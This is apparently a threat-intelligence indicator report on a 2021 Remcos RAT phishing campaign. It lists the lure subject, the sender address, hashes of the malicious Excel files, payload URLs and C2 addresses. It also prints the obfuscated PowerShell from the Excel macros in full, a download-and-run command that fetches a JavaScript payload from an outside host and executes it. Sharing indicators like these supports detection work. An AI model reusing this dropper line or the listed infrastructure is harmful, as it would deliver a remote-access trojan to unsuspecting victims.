2021-08-25 Remcos 2 IOCs

THREAT ATTRIBUTION:  REMCOS RAT

SUBJECTS OBSERVED
Payment Receipt

SENDERS OBSERVED
shk2816@daum.net

MALDOC FILE HASHES
payment Receipt 25-08-21.xls
16ed6fa0ff074f03cae5ccc30eea97d9

payment Receipt   25-08-21.xls
491da743c0ca2afcb03b2a7f89c4a532

POWERSHELL FROM EXCEL MACROS
$we22='(New-Obje' + 'ct Net.We'; $b4df='bCl' + 'ient).Downlo'; $c3='adFile(''http://dreamwatchevent.com/.well-known/pki-validation/Protected Client.js'',$env:temp+''\notapad.js'')';$TC=$we22,$b4df,$c3 -Join ''|IEX;start-process($env:temp+ '\notapad.js')

INTERMEDIATE PAYLOAD URLS
http://dreamwatchevent.com/wp-admins/Protected%20Client.js
http://dreamwatchevent.com/wp-admins/Attack.jpg

INTERMEDIATE PAYLOAD FILE HASHES
The "Protected Client.js" file is renamed:
notapad.js
f57b6af29796118192f653a4e0f44792

Attack.jpg
28036ef8594d7ce6aa7cad26bd190e25

REMCOS C2
freightmgmt.duckdns.org:691
https://194.5.98.207:691